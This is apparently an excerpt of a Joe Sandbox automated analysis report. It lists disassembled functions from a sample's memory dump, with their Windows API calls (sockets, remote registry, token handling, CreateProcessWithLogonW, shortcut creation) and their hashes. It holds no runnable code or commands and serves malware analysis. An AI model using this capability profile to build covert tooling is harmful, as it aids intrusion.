Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction ID: cfd73dd3c279bf2736ba7d221d6cc9981b9900ec98d3f5189425b45099d4514f
Opcode Fuzzy Hash: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction Fuzzy Hash: 27812872A00B46ABE7259F6ACC81B6F73E8AF55364F24413EF511DA381E7B0DA418790

Function 00231D10 Relevance: 9.3, APIs: 6, Instructions: 254networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00233149: select.WSOCK32(00000000,?,00000000,00000000,?,?,?,00000000,?,?,?,0023101C,00000000,?,?,00000000), ref: 00233195

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00231DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00231DE1
WSAGetLastError.WSOCK32 ref: 00231DF2
inet_ntoa.WSOCK32(?), ref: 00231E8C
htons.WSOCK32(?,?,?,?,?), ref: 00231EDB
_strlen.LIBCMT ref: 00231F35

Part of subcall function 002139E8: _strlen.LIBCMT ref: 002139F2

Part of subcall function 001B6D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000002,?,?,?,?,001CCF58,?,?,?), ref: 001B6DBA
Part of subcall function 001B6D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,?,?,?,001CCF58,?,?,?), ref: 001B6DED

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ByteCharMultiWide_strlen$ErrorLasthtonsinet_ntoaselect
String ID:
API String ID: 1923757996-0
Opcode ID: 5598483489840c4dde6c063f6b896eb8edcab90a4a4eda0e25a8bf7fc84ce51b
Instruction ID: c17254bb8412e57dfd9fc77412ed653c7d5625d7b59f1281246365d9be3f2875
Opcode Fuzzy Hash: 5598483489840c4dde6c063f6b896eb8edcab90a4a4eda0e25a8bf7fc84ce51b
Instruction Fuzzy Hash: D8A10370214301AFC324DF24C885F6A7BE5AFA5318F54894CF4565B2E2CB71ED52CB92

Function 001E61FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,001D82D9,001D82D9,?,?,?,001E644F,00000001,00000001,8BE85006), ref: 001E6258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,001E644F,00000001,00000001,8BE85006,?,?,?), ref: 001E62DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 001E63D8
__freea.LIBCMT ref: 001E63E5

Part of subcall function 001E3820: RtlAllocateHeap.NTDLL(00000000,?,00281444,?,001CFDF5,?,?,001BA976,00000010,00281440,001B13FC,?,001B13C6,?,001B1129), ref: 001E3852

__freea.LIBCMT ref: 001E63EE
__freea.LIBCMT ref: 001E6413

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: bc991707ccfd5acd0441eeecf6553b5d2fe286e87e92f4cd6d9b4790f45bf19d
Instruction ID: 4d04fcf423613cc46e0d20c8fe8f0e3666d4edb44c2bc43367ca2990d577179d
Opcode Fuzzy Hash: bc991707ccfd5acd0441eeecf6553b5d2fe286e87e92f4cd6d9b4790f45bf19d
Instruction Fuzzy Hash: 93510472A00A96ABDB258F66CC81EBF77A9EF64790F654229FD09D7180DB34DC40C660

Function 0023BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 0023C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0023B6AE,?,?), ref: 0023C9B5
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023C9F1
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023CA68
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0023BCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0023BD25
RegCloseKey.ADVAPI32(00000000), ref: 0023BD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0023BD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0023BDF3
RegCloseKey.ADVAPI32(?), ref: 0023BDFF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 79a395eba7f7666c35ba3a0bb7d7d28d2e17682b71c2a29d3eb9a18a1c77085a
Instruction ID: 660a798fae54719a747e4bde14847a565c96553accfb87f159fad1233c80567c
Opcode Fuzzy Hash: 79a395eba7f7666c35ba3a0bb7d7d28d2e17682b71c2a29d3eb9a18a1c77085a
Instruction Fuzzy Hash: 4F81D070218241EFC715DF24C885E6ABBE5FF84308F14895DF55A8B2A2CB32ED15CB92

Function 0020F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 0020F7B9
SysAllocString.OLEAUT32(00000001), ref: 0020F860
VariantCopy.OLEAUT32(0020FA64,00000000), ref: 0020F889
VariantClear.OLEAUT32(0020FA64), ref: 0020F8AD
VariantCopy.OLEAUT32(0020FA64,00000000), ref: 0020F8B1
VariantClear.OLEAUT32(?), ref: 0020F8BB

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 80626f2af201cf64128b5d0b4241f40cb7459edcbc998e1ca589053909fabd19
Instruction ID: 6b435c108157580d1568ffafaafd772b033988e100d1382c156709f7268791a0
Opcode Fuzzy Hash: 80626f2af201cf64128b5d0b4241f40cb7459edcbc998e1ca589053909fabd19
Instruction Fuzzy Hash: C0512A31560304BACFB0AF65D985B69B3A4EF55310F20946BE902DF6D3D7B08C50CB96

Function 0022910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 001B7620: _wcslen.LIBCMT ref: 001B7625

Part of subcall function 001B6B57: _wcslen.LIBCMT ref: 001B6B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 002294E5
_wcslen.LIBCMT ref: 00229506
_wcslen.LIBCMT ref: 0022952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00229585

Strings

X, xrefs: 00229412

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: de75c23f1607cfbefb155f001c2448b777b253dcffcb4a2ca2d70d5bce7e8ebb
Instruction ID: 51f9f9e131b289c74845620916c33f0bfd0402b9d3fbf7d73be09d9fe3fc495c
Opcode Fuzzy Hash: de75c23f1607cfbefb155f001c2448b777b253dcffcb4a2ca2d70d5bce7e8ebb
Instruction Fuzzy Hash: 1DE1E330618311DFD724EF64D881BAAB7E4BF94310F14896DF8899B2A2DB30DD55CB92

Function 001C920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 001C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 001C9BB2

BeginPaint.USER32(?,?,?), ref: 001C9241
GetWindowRect.USER32(?,?), ref: 001C92A5
ScreenToClient.USER32(?,?), ref: 001C92C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 001C92D3
EndPaint.USER32(?,?,?,?,?), ref: 001C9321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 002071EA

Part of subcall function 001C9339: BeginPath.GDI32(00000000), ref: 001C9357

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 6fd8ca302b5f76e0cf68c8a545080d247b26c6884b315e3243534e3c3a964af4
Instruction ID: 233d802e3ee455021b5ed2a73bf351360e73edbb5babab67895bc1463428055f
Opcode Fuzzy Hash: 6fd8ca302b5f76e0cf68c8a545080d247b26c6884b315e3243534e3c3a964af4
Instruction Fuzzy Hash: B8419D74105341AFD710DF24DC88FAA7BB8FF66720F140669F998862E2C7319855DB61

Function 002207EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0022080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00220847
EnterCriticalSection.KERNEL32(?), ref: 00220863
LeaveCriticalSection.KERNEL32(?), ref: 002208DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 002208F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00220921

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: ece7556b43cbb532c1d9bea3a14914f200f982f2484c51d51849733535d2e9aa
Instruction ID: ae69d37ad4f24c2f5ad246b4be7014148fc6ea06178f24fec61e93f73f1253fe
Opcode Fuzzy Hash: ece7556b43cbb532c1d9bea3a14914f200f982f2484c51d51849733535d2e9aa
Instruction Fuzzy Hash: 7D416A71900205EFDF14EF94EC85AAA77B9FF14700F1440A9ED049A297DB70DE61DBA4

Function 002481DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,0020F3AB,00000000,?,?,00000000,?,0020682C,00000004,00000000,00000000), ref: 0024824C
EnableWindow.USER32(?,00000000), ref: 00248272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 002482D1
ShowWindow.USER32(?,00000004), ref: 002482E5
EnableWindow.USER32(?,00000001), ref: 0024830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0024832F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 3e0526ea523562aa74f2424af7c655c500c6249d901ac725db0ed061008523c4
Instruction ID: abbe6a6e2b2d0cf9ff950ac0257b715e174685c91bf52a0e781adec3476525dd
Opcode Fuzzy Hash: 3e0526ea523562aa74f2424af7c655c500c6249d901ac725db0ed061008523c4
Instruction Fuzzy Hash: 0741C834622645AFDB1ACF14D899BE87BE4FB46714F1841A9E9084F2B2CB71AC61CF50

Function 00214C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00214C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00214CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00214CEA
_wcslen.LIBCMT ref: 00214D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00214D10
_wcsstr.LIBVCRUNTIME ref: 00214D1A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: c7677aad11373bbe8406722eb02146286c10fc476126fe2712385c90ed91c236
Instruction ID: 76f6e494d06290726321cb2770bb6f8ec1d75b24a40c26ea5e86f7851527672b
Opcode Fuzzy Hash: c7677aad11373bbe8406722eb02146286c10fc476126fe2712385c90ed91c236
Instruction Fuzzy Hash: 5C2149312152017BEB196F39BC09EBB7BDCDF65710F10803EF809CA192EB60CC5182A0

Function 0022581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 001B3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001B3A97,?,?,001B2E7F,?,?,?,00000000), ref: 001B3AC2

_wcslen.LIBCMT ref: 0022587B
CoInitialize.OLE32(00000000), ref: 00225995
CoCreateInstance.OLE32(0024FCF8,00000000,00000001,0024FB68,?), ref: 002259AE
CoUninitialize.OLE32 ref: 002259CC

Strings

.lnk, xrefs: 00225876, 002258C1, 00225985

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 3c4d3afc14aaba5a63694e004908ea310e5a538c8ea4511b8f3df7d65839496a
Instruction ID: fd8a8f52b3440fb93d9035f01a7bbabf0587b23b5aea4780f42cc9a5e4f216c6
Opcode Fuzzy Hash: 3c4d3afc14aaba5a63694e004908ea310e5a538c8ea4511b8f3df7d65839496a
Instruction Fuzzy Hash: 2DD18370618721AFC714DF64D484A6ABBE1FF99314F10885DF88A9B361DB31EC45CB92

Function 0021175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00210FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00210FCA
Part of subcall function 00210FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00210FD6
Part of subcall function 00210FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00210FE5
Part of subcall function 00210FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00210FEC
Part of subcall function 00210FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00211002

GetLengthSid.ADVAPI32(?,00000000,00211335), ref: 002117AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 002117BA
HeapAlloc.KERNEL32(00000000), ref: 002117C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 002117DA
GetProcessHeap.KERNEL32(00000000,00000000,00211335), ref: 002117EE
HeapFree.KERNEL32(00000000), ref: 002117F5

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: ff697e3ca77e4dcd10adb40bb88f81f1b1243507de484efef6417fef4a56bd15
Instruction ID: b02d07c674b5135422eaad00e64df2d5502bd45dd6c02bff9b689e5661329fd2
Opcode Fuzzy Hash: ff697e3ca77e4dcd10adb40bb88f81f1b1243507de484efef6417fef4a56bd15
Instruction Fuzzy Hash: FB11EE35522606FFDB109FA8DC49BEEBBE8EB52315F204028F5459B290C731A9A1CB60

Function 002114CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 002114FF
OpenProcessToken.ADVAPI32(00000000), ref: 00211506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00211515
CloseHandle.KERNEL32(00000004), ref: 00211520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0021154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00211563

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: fb08d52156ae2a494df20dd66dea439077d77422ed3dfab76b8ac3785a9e546f
Instruction ID: 003ccc43e8bf77d83f92c99ef560b753796e438788c9f458d4925a58d2234c93
Opcode Fuzzy Hash: fb08d52156ae2a494df20dd66dea439077d77422ed3dfab76b8ac3785a9e546f
Instruction Fuzzy Hash: 6511597660220AABDF119F98ED49BDE7BA9EF49B04F144014FA05A2060C3758EA0DB60

Function 001D3382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,001D3379,001D2FE5), ref: 001D3390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 001D339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001D33B7
SetLastError.KERNEL32(00000000,?,001D3379,001D2FE5), ref: 001D3409

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a558b995b7e578d6a4f6b420fb53872e823209da72b0216d6bf6b2023743002d
Instruction ID: fd92bf0e0fe0f376183485a6d912cad9fd383cedc644114c14274c1dfd79ec4e
Opcode Fuzzy Hash: a558b995b7e578d6a4f6b420fb53872e823209da72b0216d6bf6b2023743002d
Instruction Fuzzy Hash: 8E014733209321BFAA292BB97C895272A94FB25379330022FF430803F0EF218E019186

Function 001E2D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,001E5686,001F3CD6,?,00000000,?,001E5B6A,?,?,?,?,?,001DE6D1,?,00278A48), ref: 001E2D78
_free.LIBCMT ref: 001E2DAB
_free.LIBCMT ref: 001E2DD3
SetLastError.KERNEL32(00000000,?,?,?,?,001DE6D1,?,00278A48,00000010,001B4F4A,?,?,00000000,001F3CD6), ref: 001E2DE0
SetLastError.KERNEL32(00000000,?,?,?,?,001DE6D1,?,00278A48,00000010,001B4F4A,?,?,00000000,001F3CD6), ref: 001E2DEC
_abort.LIBCMT ref: 001E2DF2

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: f717b45d20562d7ab267273a3fcd8db4b55136e096d4907b27fd8cd9502381fd
Instruction ID: e7d12a921ced41967c90f203bd4a09aa738645868558f8f3c4b373cb25d0372d
Opcode Fuzzy Hash: f717b45d20562d7ab267273a3fcd8db4b55136e096d4907b27fd8cd9502381fd
Instruction Fuzzy Hash: FCF02D35505D8027C25637BB7C2EE1E165DBFD27A4F354028F629D31D2EF3488014120

Function 00248A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 001C9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 001C9693
Part of subcall function 001C9639: SelectObject.GDI32(?,00000000), ref: 001C96A2
Part of subcall function 001C9639: BeginPath.GDI32(?), ref: 001C96B9
Part of subcall function 001C9639: SelectObject.GDI32(?,00000000), ref: 001C96E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00248A4E
LineTo.GDI32(?,00000003,00000000), ref: 00248A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00248A70
LineTo.GDI32(?,00000000,00000003), ref: 00248A80
EndPath.GDI32(?), ref: 00248A90
StrokePath.GDI32(?), ref: 00248AA0

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
